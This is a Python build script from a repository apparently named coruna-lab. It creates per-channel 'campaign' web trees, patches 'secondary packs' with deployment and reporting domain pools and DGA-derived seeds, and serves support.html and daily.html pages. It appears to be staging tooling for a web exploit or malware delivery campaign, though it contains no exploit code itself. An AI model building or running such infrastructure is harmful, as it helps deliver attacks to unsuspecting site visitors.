Files
coruna-lab/tools/new_project.py
T
2026-08-07 06:05:33 +08:00

343 lines
11 KiB
Python

#!/usr/bin/env python3
"""Build server/public campaign trees: new channel + fixed domains from config.
- New channel id only (domains unchanged vs last out/domains.json):
copy web/<channel>/ + patch secondary packs; leave sync/ alone.
- Domains changed (or first run / no sync yet):
reset sync/ from source and run full patch_all.
Domains default from Laravel config (系统设置 / CORUNA_CHANNEL_DOMAINS),
used for both Deployment and Reporting pools.
"""
from __future__ import annotations
import argparse
import hashlib
import json
import shutil
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
SERVER_ROOT = LAB_ROOT / "server"
APPLY_ROOT = SERVER_ROOT / "public"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def replace_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}")
if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def load_json(path: Path) -> dict | None:
if not path.is_file():
return None
return json.loads(path.read_text())
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
if not prev or prev.get("mode") != "fixed_domains":
return False
return (
prev.get("deployment", {}).get("domains") == dep
and prev.get("reporting", {}).get("domains") == rep
)
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
def one(label: str, domains: list[str]) -> str:
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
return hashlib.sha256(material).hexdigest()[:32]
dep_seed = one("deployment", dep)
rep_seed = one("reporting", rep)
if dep_seed == rep_seed:
rep_seed = one("reporting/alt", rep)
return dep_seed, rep_seed
def pick_channel(explicit: str | None, web_root: Path) -> str:
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
while (web_root / channel).exists():
if explicit:
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
channel = gen_channel_id()
return channel
def resolve_python() -> str:
"""PHP/panel often launches `python3` such that sys.executable is ''."""
exe = (sys.executable or "").strip()
if exe:
return exe
for name in ("python3", "python"):
found = shutil.which(name)
if found:
return found
raise SystemExit(
"cannot locate python interpreter (sys.executable is empty; install python3 on PATH)"
)
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def load_domains_from_laravel() -> list[str]:
"""Read coruna.channel_domains (settings override env) via artisan."""
php_candidates = [
Path("/opt/homebrew/opt/php/bin/php"),
Path("/usr/bin/php"),
Path(shutil.which("php") or ""),
]
php = next((p for p in php_candidates if p and p.is_file()), None)
artisan = SERVER_ROOT / "artisan"
if php is None or not artisan.is_file():
return []
proc = subprocess.run(
[str(php), str(artisan), "coruna:channel-domains", "--json"],
cwd=str(SERVER_ROOT),
capture_output=True,
text=True,
check=False,
)
if proc.returncode != 0:
print(f"warn: coruna:channel-domains failed: {proc.stderr.strip()}", file=sys.stderr)
return []
line = (proc.stdout or "").strip().splitlines()
if not line:
return []
try:
data = json.loads(line[-1])
except json.JSONDecodeError:
return []
if not isinstance(data, list):
return []
return [str(x).strip() for x in data if str(x).strip()]
def resolve_domains(cli_dep: list[str], cli_rep: list[str]) -> tuple[list[str], list[str]]:
if cli_dep or cli_rep:
if bool(cli_dep) != bool(cli_rep):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
return (
parse_domain_list(cli_dep, label="deployment"),
parse_domain_list(cli_rep, label="reporting"),
)
domains = load_domains_from_laravel()
if not domains:
raise SystemExit(
"no domains in Laravel config (系统设置 → 投放域名 / CORUNA_CHANNEL_DOMAINS). "
"Configure domains first, or pass --deployment-domains / --reporting-domains."
)
# Same configured hosts for both pools (product default).
return domains, list(domains)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Create web/<channel-id>/ from source. "
"If domains match the previous project, only patch secondary (sync untouched). "
"If domains changed, rebuild sync/ via patch_all."
)
)
parser.add_argument(
"--channel-id",
help="optional 32-char [0-9a-z] channel id (default: random, unique under web/)",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="override Deployment hosts (default: Laravel coruna.channel_domains)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="override Reporting hosts (default: same as deployment from config)",
)
parser.add_argument("--deployment-seed", help="optional; default: reuse or derive")
parser.add_argument("--reporting-seed", help="optional; default: reuse or derive")
parser.add_argument(
"--force-sync",
action="store_true",
help="rebuild sync/ even when domains match the previous project",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates for patch_all when rebuilding sync (default 5)",
)
args = parser.parse_args()
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir():
raise SystemExit(f"missing source campaign: {src_campaign}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
web_root = APPLY_ROOT / "web"
sync_dir = APPLY_ROOT / "sync"
out_root = APPLY_ROOT / "out"
out_root.mkdir(parents=True, exist_ok=True)
web_root.mkdir(parents=True, exist_ok=True)
fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains)
prev_domains = load_json(out_root / "domains.json")
prev_seeds = load_json(out_root / "seeds.json") or {}
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
same_domains = (
domains_equal(prev_domains, fixed_dep, fixed_rep)
and sync_ready
and not args.force_sync
)
channel = pick_channel(args.channel_id, web_root)
campaign_dir = web_root / channel
print("=== new_project ===")
print(f"channel: {channel}")
print(f"web dest: {campaign_dir}")
print(f"domains: {'reuse sync (channel-only)' if same_domains else 'rebuild sync'}")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print()
print("=== copy campaign template ===")
copy_campaign_template(campaign_dir)
print(f"created web/{channel}/")
domain_args: list[str] = []
for item in fixed_dep:
domain_args += ["--deployment-domains", item]
for item in fixed_rep:
domain_args += ["--reporting-domains", item]
py = resolve_python()
if same_domains:
dep = args.deployment_seed or prev_seeds.get("deployment_seed")
rep = args.reporting_seed or prev_seeds.get("reporting_seed")
if not dep or not rep:
dep, rep = seeds_from_domains(fixed_dep, fixed_rep)
print("seeds: derived (out/seeds.json incomplete)")
print("=== domains unchanged: patch secondary only (sync untouched) ===")
print(f"reuse/derive seeds dep={dep} rep={rep}")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
str(dep),
"--reporting-seed",
str(rep),
"--channel-id",
channel,
*domain_args,
"--root",
str(APPLY_ROOT),
"--apply",
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": False,
"deployment_seed": dep,
"reporting_seed": rep,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
else:
print("=== domains new/changed (or no sync): reset sync + full patch ===")
replace_tree(src_sync, sync_dir)
print(f"copied sync/ -> {sync_dir}")
cmd = [
py,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"--channel-id",
channel,
"-n",
str(args.count),
*domain_args,
]
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
print()
print("=== patch_all --apply ===")
run(cmd)
seeds = load_json(out_root / "seeds.json") or {}
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": True,
"deployment_seed": seeds.get("deployment_seed"),
"reporting_seed": seeds.get("reporting_seed"),
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
print()
print("=== ready ===")
print(f"web: {campaign_dir}")
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
print(f"channel: {out_root / 'channel.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print(f"served: /web/{channel}/support.html")
if not same_domains:
print(" /sync/daily.html")
return 0
if __name__ == "__main__":
raise SystemExit(main())